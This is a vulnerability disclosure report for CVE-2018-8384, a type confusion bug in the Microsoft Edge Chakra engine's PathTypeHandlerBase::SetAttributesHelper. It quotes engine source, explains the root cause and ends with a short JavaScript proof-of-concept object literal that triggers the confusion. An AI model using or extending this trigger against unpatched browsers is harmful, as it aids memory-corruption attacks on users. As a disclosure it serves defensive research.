Microsoft Edge: Chakra: Type confusion with PathTypeHandlerBase::SetAttributesHelper 

CVE-2018-8384


Here's a snippet of PathTypeHandlerBase::SetAttributesHelper.

PathTypeHandlerBase *predTypeHandler = this;
DynamicType *currentType = instance->GetDynamicType();
while (predTypeHandler->GetPathLength() > propertyIndex)
{
    currentType = predTypeHandler->GetPredecessorType();
    if (currentType == nullptr)
    {
#ifdef PROFILE_TYPES
        instance->GetScriptContext()->convertPathToDictionaryNoRootCount++;
#endif
        // This can happen if object header inlining is deoptimized, and we haven't built a full path from the root.
        // For now, just punt this case.
        return TryConvertToSimpleDictionaryType(instance, GetPathLength())->SetAttributes(instance, propertyId, ObjectSlotAttributesToPropertyAttributes(propertyAttributes));
    }
    predTypeHandler = PathTypeHandlerBase::FromTypeHandler(currentType->GetTypeHandler());
}

When object header inlining is deoptimized, the type handler of the object is converted to a dictionary type handler. The problem is that it doesn't consider some attributes that dictionary type handlers don't have, so adding or removing those attributes can fail. ObjectSlotAttr_Accessor which indicates that the property is an accessor is one of them.

Here's a snippet of PathTypeHandlerBase::SetPropertyInternal.

else if (isInit)
{
    ObjectSlotAttributes * attributes = this->GetAttributeArray();
    if (attributes && (attributes[index] & ObjectSlotAttr_Accessor))
    {
        this->SetAttributesHelper(instance, propertyId, index, attributes, (ObjectSlotAttributes)(attributes[index] & ~ObjectSlotAttr_Accessor), true);
        // We're changing an accessor into a data property at object init time. Don't cache this transition from setter to non-setter,
        // as it behaves differently from a normal set property.
        PropertyValueInfo::SetNoCache(info, instance);
        newTypeHandler = PathTypeHandlerBase::FromTypeHandler(instance->GetDynamicType()->GetTypeHandler());
        newTypeHandler->SetSlotUnchecked(instance, index, value);
        return true;
    }
}

We can use the bug to make removing ObjectSlotAttr_Accessor fail. As a result, a data value can be used as an accessor.

PoC:
let o = {
    get a() {},
    0: 0,  // Deoptimizing object header inlining
    a: 0x1234
};

o.a;  // Type confusion


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt